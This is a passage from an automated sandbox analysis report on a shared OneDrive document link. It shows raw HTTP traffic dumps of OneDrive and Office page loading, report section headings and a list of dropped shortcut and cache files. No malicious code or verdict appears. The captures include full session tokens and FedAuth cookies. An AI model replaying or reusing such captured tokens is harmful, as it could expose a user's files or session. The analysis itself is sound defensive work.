2024-12-17 20:36:01 UTC	814	IN	Data Raw: 33 32 37 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 09 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 09 3c 6d 65 74 61 0d 0a 09 09 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f Data Ascii: 327<!DOCTYPE html><html lang="en-us" dir="ltr"><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><metaname="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 63 72 69 70 74 27 0d 0a 09 09 09 09 09 0d 0a 09 09 09 09 3e 0d 0a 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 76 61 72 20 77 6f 70 69 44 69 61 67 43 6c 69 65 6e 74 20 3d 20 7b 20 64 6f 63 46 69 72 73 74 46 6c 75 73 68 54 69 6d 65 20 3a 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 20 7d 20 3b 0d 0a 09 09 76 61 72 20 77 61 63 55 69 48 6f 73 74 53 65 73 73 69 6f 6e 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 09 76 61 72 20 77 6f 70 69 43 6f 6e 74 65 78 74 46 6c 75 73 68 54 69 6d 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 09 09 76 61 72 20 69 73 45 61 72 6c 79 46 6c 75 73 68 45 6e 61 62 6c 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 09 09 76 61 72 20 66 69 72 73 74 46 6c 75 73 68 Data Ascii: 2000cript'><script type="text/javascript">var wopiDiagClient = { docFirstFlushTime : new Date().getTime() } ;var wacUiHostSession = null;var wopiContextFlushTime = null;var isEarlyFlushEnabled = false;var firstFlush
2024-12-17 20:36:01 UTC	4152	IN	Data Raw: 31 30 33 30 0d 0a 6d 6f 6e 44 6f 6d 61 69 6e 52 65 71 75 65 73 74 43 6f 6e 74 65 78 74 22 3a 66 61 6c 73 65 2c 22 77 65 62 41 62 73 6f 6c 75 74 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 64 72 69 76 65 2e 6c 69 76 65 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 31 37 63 63 31 65 37 62 36 34 35 34 37 66 61 30 22 2c 22 77 65 62 41 62 73 6f 6c 75 74 65 55 72 6c 4c 65 67 61 63 79 22 3a 6e 75 6c 6c 2c 22 6c 61 79 6f 75 74 73 55 72 6c 22 3a 22 5f 6c 61 79 6f 75 74 73 2f 31 35 22 2c 22 77 65 62 44 6f 6d 61 69 6e 22 3a 22 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 22 2c 22 61 61 64 49 6e 73 74 61 6e 63 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 22 2c 22 61 61 64 54 65 6e 61 6e 74 Data Ascii: 1030monDomainRequestContext":false,"webAbsoluteUrl":"https://onedrive.live.com/personal/17cc1e7b64547fa0","webAbsoluteUrlLegacy":null,"layoutsUrl":"_layouts/15","webDomain":"sharepoint.com","aadInstanceUrl":"https://login.microsoftonline.com","aadTenant
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 41 31 34 2d 35 37 30 41 34 34 46 33 45 34 32 34 22 3a 31 2c 22 39 43 43 33 42 32 35 41 2d 38 38 38 34 2d 34 36 44 30 2d 39 31 35 31 2d 36 35 46 41 39 30 33 39 30 31 35 45 22 3a 31 2c 22 31 46 30 44 30 44 31 34 2d 33 32 37 34 2d 34 33 32 31 2d 39 30 46 34 2d 30 34 36 33 46 34 39 39 35 31 33 30 22 3a 31 2c 22 38 42 33 38 42 32 33 44 2d 38 43 39 33 2d 34 38 32 30 2d 38 46 44 44 2d 31 33 43 32 44 45 34 33 43 45 42 46 22 3a 31 2c 22 35 45 33 34 30 41 31 38 2d 36 44 43 37 2d 34 38 41 34 2d 41 45 37 30 2d 37 41 33 38 45 33 44 30 39 30 39 36 22 3a 31 2c 22 46 31 46 31 43 37 42 39 2d 36 41 37 42 2d 34 44 30 42 2d 39 46 35 41 2d 34 43 31 46 37 44 35 43 31 43 36 41 22 3a 31 2c 22 45 32 30 34 42 42 43 44 2d 41 35 43 30 2d 34 36 30 39 2d 39 36 31 30 Data Ascii: 2000A14-570A44F3E424":1,"9CC3B25A-8884-46D0-9151-65FA9039015E":1,"1F0D0D14-3274-4321-90F4-0463F4995130":1,"8B38B23D-8C93-4820-8FDD-13C2DE43CEBF":1,"5E340A18-6DC7-48A4-AE70-7A38E3D09096":1,"F1F1C7B9-6A7B-4D0B-9F5A-4C1F7D5C1C6A":1,"E204BBCD-A5C0-4609-9610
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 34 2d 34 44 32 39 2d 38 37 45 34 2d 39 35 35 35 45 33 34 32 30 34 46 32 22 3a 31 2c 22 42 34 34 46 34 38 42 44 2d 34 30 46 46 2d 34 38 32 31 2d 41 35 31 34 2d 33 46 46 35 37 36 31 41 39 41 46 41 22 3a 31 2c 22 43 35 36 36 31 35 46 35 2d 46 31 46 46 2d 34 33 45 33 2d 39 31 34 41 2d 38 39 45 37 30 41 37 46 46 45 42 30 22 3a 31 2c 22 35 42 35 46 32 41 44 30 2d 37 45 43 32 2d 34 32 46 38 2d 39 33 45 44 2d 30 44 36 34 36 33 34 35 43 30 36 39 22 3a 31 2c 22 43 32 38 34 35 36 34 31 2d 35 35 43 45 2d 34 42 42 38 2d 39 44 35 36 2d 33 41 41 34 41 36 32 44 46 34 35 43 22 3a 31 2c 22 37 44 34 36 36 35 41 33 2d 33 30 36 35 2d 34 31 43 42 2d 38 44 33 45 2d 45 32 36 39 39 44 30 34 30 30 37 31 22 3a 31 2c 22 31 35 38 43 41 43 35 43 2d 37 30 30 35 2d 34 Data Ascii: 20004-4D29-87E4-9555E34204F2":1,"B44F48BD-40FF-4821-A514-3FF5761A9AFA":1,"C56615F5-F1FF-43E3-914A-89E70A7FFEB0":1,"5B5F2AD0-7EC2-42F8-93ED-0D646345C069":1,"C2845641-55CE-4BB8-9D56-3AA4A62DF45C":1,"7D4665A3-3065-41CB-8D3E-E2699D040071":1,"158CAC5C-7005-4
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 45 39 39 37 2d 36 34 36 30 2d 34 36 39 43 2d 39 36 34 33 2d 30 39 46 33 41 45 36 37 36 35 34 44 22 3a 31 2c 22 36 33 32 45 38 30 36 31 2d 43 45 46 45 2d 34 45 33 42 2d 38 31 43 32 2d 44 36 44 35 41 31 31 39 41 36 31 32 22 3a 31 2c 22 34 45 37 30 31 43 39 30 2d 36 37 30 44 2d 34 35 42 46 2d 39 39 31 42 2d 46 41 35 38 31 46 39 42 43 42 35 41 22 3a 31 2c 22 34 39 30 32 30 45 39 41 2d 43 32 36 32 2d 34 30 34 30 2d 42 34 32 32 2d 43 36 45 38 41 41 43 38 32 36 37 44 22 3a 31 2c 22 39 30 43 37 46 45 42 41 2d 37 33 36 41 2d 34 45 33 34 2d 38 30 39 43 2d 44 30 37 46 33 43 36 41 36 39 33 37 22 3a 31 2c 22 45 34 35 39 38 39 45 34 2d 42 45 30 39 2d 34 33 31 39 2d 39 38 37 42 2d 34 32 41 46 36 45 33 46 41 46 41 34 22 3a 31 2c 22 35 33 43 45 39 37 31 Data Ascii: 2000E997-6460-469C-9643-09F3AE67654D":1,"632E8061-CEFE-4E3B-81C2-D6D5A119A612":1,"4E701C90-670D-45BF-991B-FA581F9BCB5A":1,"49020E9A-C262-4040-B422-C6E8AAC8267D":1,"90C7FEBA-736A-4E34-809C-D07F3C6A6937":1,"E45989E4-BE09-4319-987B-42AF6E3FAFA4":1,"53CE971
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 3a 31 2c 22 37 42 32 46 33 38 43 46 2d 39 36 38 39 2d 34 44 38 36 2d 38 41 39 33 2d 30 33 44 46 34 39 30 42 33 30 39 45 22 3a 31 2c 22 44 37 37 31 45 39 46 32 2d 32 30 41 39 2d 34 42 44 46 2d 42 34 32 36 2d 42 45 46 46 35 30 42 43 46 32 39 45 22 3a 31 2c 22 42 43 46 38 45 33 35 46 2d 38 31 34 45 2d 34 36 38 46 2d 42 44 30 34 2d 45 30 44 46 41 39 41 42 35 35 34 44 22 3a 31 2c 22 46 44 36 36 39 37 45 36 2d 32 30 39 35 2d 34 35 33 34 2d 38 31 37 35 2d 31 37 41 38 45 43 31 38 45 30 41 33 22 3a 31 2c 22 34 33 46 43 39 43 30 30 2d 38 33 37 43 2d 34 42 34 37 2d 41 32 38 31 2d 44 45 45 35 35 41 36 30 39 32 35 39 22 3a 31 2c 22 34 42 33 36 41 35 35 45 2d 34 33 30 30 2d 34 39 43 37 2d 39 35 39 32 2d 39 34 35 35 45 37 41 44 30 42 43 36 22 3a 31 2c Data Ascii: 2000:1,"7B2F38CF-9689-4D86-8A93-03DF490B309E":1,"D771E9F2-20A9-4BDF-B426-BEFF50BCF29E":1,"BCF8E35F-814E-468F-BD04-E0DFA9AB554D":1,"FD6697E6-2095-4534-8175-17A8EC18E0A3":1,"43FC9C00-837C-4B47-A281-DEE55A609259":1,"4B36A55E-4300-49C7-9592-9455E7AD0BC6":1,
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 35 35 39 43 45 35 38 22 3a 31 2c 22 46 41 32 34 35 32 43 32 2d 36 44 46 35 2d 34 36 34 42 2d 38 39 32 34 2d 31 31 30 46 38 44 45 31 31 35 42 44 22 3a 31 2c 22 30 43 34 34 33 43 33 32 2d 37 35 30 31 2d 34 45 36 37 2d 39 35 44 36 2d 34 34 37 31 34 30 43 43 33 35 42 42 22 3a 31 2c 22 41 33 43 36 44 33 34 38 2d 43 39 35 31 2d 34 36 30 36 2d 38 38 37 32 2d 30 37 33 35 43 34 39 35 46 46 30 36 22 3a 31 2c 22 42 39 38 43 38 45 30 30 2d 46 43 32 44 2d 34 33 31 42 2d 42 45 43 37 2d 30 39 30 34 31 45 31 37 45 45 44 31 22 3a 31 2c 22 46 34 36 30 39 39 43 38 2d 41 30 45 41 2d 34 33 30 37 2d 42 46 38 46 2d 38 33 42 31 41 33 31 34 41 34 38 31 22 3a 31 2c 22 35 38 34 37 32 30 44 45 2d 43 46 34 42 2d 34 34 43 41 2d 42 43 43 43 2d 36 35 46 39 36 39 44 35 Data Ascii: 2000559CE58":1,"FA2452C2-6DF5-464B-8924-110F8DE115BD":1,"0C443C32-7501-4E67-95D6-447140CC35BB":1,"A3C6D348-C951-4606-8872-0735C495FF06":1,"B98C8E00-FC2D-431B-BEC7-09041E17EED1":1,"F46099C8-A0EA-4307-BF8F-83B1A314A481":1,"584720DE-CF4B-44CA-BCCC-65F969D5
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 45 38 2d 38 41 36 46 30 45 41 39 33 31 35 34 22 3a 31 2c 22 45 45 31 39 38 35 44 39 2d 46 32 44 33 2d 34 31 46 42 2d 42 35 35 33 2d 31 35 31 46 46 34 36 43 31 38 31 37 22 3a 31 2c 22 41 42 34 46 37 44 33 41 2d 41 34 41 33 2d 34 31 36 32 2d 39 32 46 41 2d 32 44 41 41 41 45 43 44 36 42 43 46 22 3a 31 2c 22 32 34 36 32 42 35 39 34 2d 37 44 46 41 2d 34 31 34 33 2d 41 37 37 36 2d 37 46 41 38 44 38 46 32 34 33 32 34 22 3a 31 2c 22 44 33 35 30 43 46 31 39 2d 41 30 36 43 2d 34 43 35 34 2d 39 36 36 36 2d 32 39 43 46 35 30 42 32 30 38 33 41 22 3a 31 2c 22 43 43 34 44 44 46 30 30 2d 38 32 38 42 2d 34 45 37 33 2d 38 39 42 45 2d 30 46 42 38 32 45 32 46 37 31 31 39 22 3a 31 2c 22 36 33 43 44 42 31 39 30 2d 36 39 39 30 2d 34 32 31 35 2d 39 31 36 34 2d Data Ascii: 2000E8-8A6F0EA93154":1,"EE1985D9-F2D3-41FB-B553-151FF46C1817":1,"AB4F7D3A-A4A3-4162-92FA-2DAAAECD6BCF":1,"2462B594-7DFA-4143-A776-7FA8D8F24324":1,"D350CF19-A06C-4C54-9666-29CF50B2083A":1,"CC4DDF00-828B-4E73-89BE-0FB82E2F7119":1,"63CDB190-6990-4215-9164-
2024-12-17 20:36:01 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2d 34 37 39 41 2d 41 33 44 31 2d 30 31 32 38 44 45 42 38 33 32 35 43 22 3a 31 2c 22 44 42 33 37 42 42 36 44 2d 44 42 39 41 2d 34 43 39 37 2d 39 46 42 30 2d 34 32 41 43 39 31 33 41 39 34 46 30 22 3a 31 2c 22 30 41 43 39 41 37 33 32 2d 33 35 43 41 2d 34 35 35 34 2d 42 33 35 38 2d 33 46 37 33 31 34 36 36 42 43 33 30 22 3a 31 2c 22 34 41 35 39 34 31 42 39 2d 39 36 46 37 2d 34 30 43 31 2d 39 41 44 33 2d 43 37 46 45 42 36 34 33 30 46 36 30 22 3a 31 2c 22 35 34 36 46 32 39 32 44 2d 33 45 36 34 2d 34 42 36 46 2d 39 41 41 37 2d 31 32 46 44 44 35 35 44 35 34 46 30 22 3a 31 2c 22 42 32 44 32 41 44 37 44 2d 34 34 36 42 2d 34 33 37 43 2d 42 46 41 38 2d 37 36 46 44 46 35 30 33 39 32 43 33 22 3a 31 2c 22 32 34 38 35 38 32 32 33 2d 44 46 33 30 2d 34 41 Data Ascii: 2000-479A-A3D1-0128DEB8325C":1,"DB37BB6D-DB9A-4C97-9FB0-42AC913A94F0":1,"0AC9A732-35CA-4554-B358-3F731466BC30":1,"4A5941B9-96F7-40C1-9AD3-C7FEB6430F60":1,"546F292D-3E64-4B6F-9AA7-12FDD55D54F0":1,"B2D2AD7D-446B-437C-BFA8-76FDF50392C3":1,"24858223-DF30-4A

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Windows Analysis Report
https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:06 UTC	704	OUT	POST /suite/RemoteUls.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd&officeserverversion= HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 626 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onedrive.live.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onedrive.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:06 UTC	626	OUT	Data Raw: 7b 22 54 22 3a 31 37 33 34 34 36 37 37 36 34 36 37 39 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 37 36 35 37 38 35 38 34 2c 22 54 22 3a 36 2c 22 4d 22 3a 22 4c 65 61 6e 20 55 69 20 48 6f 73 74 3a 20 62 6f 6f 74 41 70 70 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 36 31 38 32 30 34 38 2c 22 54 22 3a 37 2c 22 4d 22 3a 22 42 6f 6f 74 41 70 70 3a 20 4c 6f 61 64 20 64 6f 63 75 6d 65 6e 74 20 72 65 74 75 72 6e 65 64 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 35 33 37 32 36 32 38 35 2c 22 54 22 3a 38 2c 22 4d 22 3a 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 46 65 74 63 68 65 64 20 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 2e 20 5b 49 73 56 61 6c 69 64 3a 20 74 72 75 65 5d 22 2c 22 43 22 3a 33 Data Ascii: {"T":1734467764679,"L":[{"G":576578584,"T":6,"M":"Lean Ui Host: bootApp","C":3027,"D":50},{"G":546182048,"T":7,"M":"BootApp: Load document returned","C":3027,"D":50},{"G":553726285,"T":8,"M":"GetWopiData: Fetched documentIdentifier. [IsValid: true]","C":3

Timestamp	Bytes transferred	Direction	Data
2024-12-17 20:36:06 UTC	3406	OUT	GET /personal/17cc1e7b64547fa0/_api/v2.1/drives/b!jYXwmShw9UmJq8i_PjoekfvN232NuhNAvOZijfCiH_SuXF6pgvCvT56vRvtsTJbX/items/01CDPN6UI6F3EAKAVWR5DJD5T7JMH3R7GQ/streams/content_preview_Op1.img/streamContent?tempauth=v1e.eyJzaXRlaWQiOiI5OWYwODU4ZC03MDI4LTQ5ZjUtODlhYi1jOGJmM2UzYTFlOTEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb25lZHJpdmUubGl2ZS5jb21AOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkIiwiZXhwIjoiMTczNDg5NjE2MCJ9.-HPRGMgdEbPfX1gb4pvrWYijdsAkVX_ZA5-OnQQYSUUfetmSHrh70J9dY7OseRMAZVeancIfkQk_NnscPaGDrA7KXn3q0lkLHkbGw23I3aVIqxuMY42DeOiFqJyF5Axyy1Lqh-FU5KlsJ6EMTcQree_8phJ0l9wIoONDC3QlJPg7hlAKEmV80OCggqUuUxM-RHJjm5vuoitYJCFs7I6zRYvWVyjaiGJYRJqPzC6Y26J-1DZBkMtdYS4XQXohFC5oQrb6YPsTmXPMJ9Cjf11A7Fe4U5yYtt0SUUgUvOhMgZY7wknBIDQE5NJ-eGL4izKnyZ2NdsZLmN3npWLLXZUsMpOTyqwzImW8A0JIYNTXLIkAGeRErXUzVpv00QLqxrp1WOBS11jXLvYOeT7AogyOgu69-7Imdf4ugDAXnN5LfGN6KHeQPGkeI3xxhIcJ94mAf0XH2nsLhifyPGHOeiAXqnV9xXP2Ww3YsV2tkVxyb9JKfceKO1Wjgc2RaictKmPMM5e_mZ_9lGeLpnQlr02YVdO0TeQXIlswvIlkI8toK_s.4wHNydaHButF87W0IMnCoR2V83av [TRUNCATED] Host: onedrive.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5iZFk2 [TRUNCATED]
2024-12-17 20:36:07 UTC	3454	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 6539 Content-Type: application/octet-stream Expires: -1 Accept-Ranges: bytes ETag: "{05C82E1E-B602-468F-91F6-7F4B0FB8FCD0},35" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FkYzI3MDQ5YjllYmJiMjY4NjY5NTgwYjNlM2I1NzlmMWFlNDQ1YTBhZjM3ZjlmMzViYjMyODVjODgyMjQzYjQsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWRjMjcwNDliOWViYmIyNjg2Njk1ODBiM2UzYjU3OWYxYWU0NDVhMGFmMzdmOWYzNWJiMzI4NWM4ODIyNDNiNCwxMzM3ODk0MTY1ODAwMDAwMDAsMCwxMzM3OTAyNzc1ODY5NDQ4MTksMC4wLjAuMCwyNTgsOTE4ODA0MGQtNmM2Ny00YzViLWIxMTItMzZhMzA0YjY2ZGFkLCwsYzU0MDdmYjAtMTI1MS00ZjAyLWJjMmItODk2ZWMxOWUzMGY3LGM1NDA3ZmIwLTEyNTEtNGYwMi1iYzJiLTg5NmVjMTllMzBmNyxnK0pYTHF2U2hrYWxxdEVwSnpGdnVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwOTQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLEMyU0dleTBPdzlib1VqK1I5QTFVM1F1NVpiNmgvTVdGOXQwbkZTeVRlcml3QjFlVFZNYnQ4cXM1N25vTExkNjhGNFFtQ2tldVcxaGY1d0dHYjcxcStNZ0ZIajh0djR1TENNeDVPUGlienh5dXhjM1NPNk1WMmpKYmlNR3RwSkZCKzYydWhrRnNGd0NWeHNGM3BQZlNObnRRak5LYkN1bDBGUHV5ZFM2ZEVpZUZoQUxRMFVydDY3aGh2TWs1a1ZpRjVRVnBxaVBoS0tQelVuZEIxU0RWTmo4cUlGbm5mdmNkN3BLRUxyZXI2Um1xR2toWEducm5i [TRUNCATED] IsOCDI: 0 X-NetworkStatistics: 0,2102272,0,466,7484774,0,2102272,65 X-SharePointHealthScore: 3 X-VroomVersion: 2.1 CTag: "c:{05c82e1e-b602-468f-91f6-7f4b0fb8fcd0},5" X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2a886ea1-c039-7000-1508-63e97921f335 request-id: 2a886ea1-c039-7000-1508-63e97921f335 MS-CV: oW6IKjnAAHAVCGPpeSHzNQ.0 SPRequestDuration: 35 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-BN3r1&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-WOPI-Diagnostics: {"SSRCacheHitStatus":"SSRFoundInCache"} X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25520 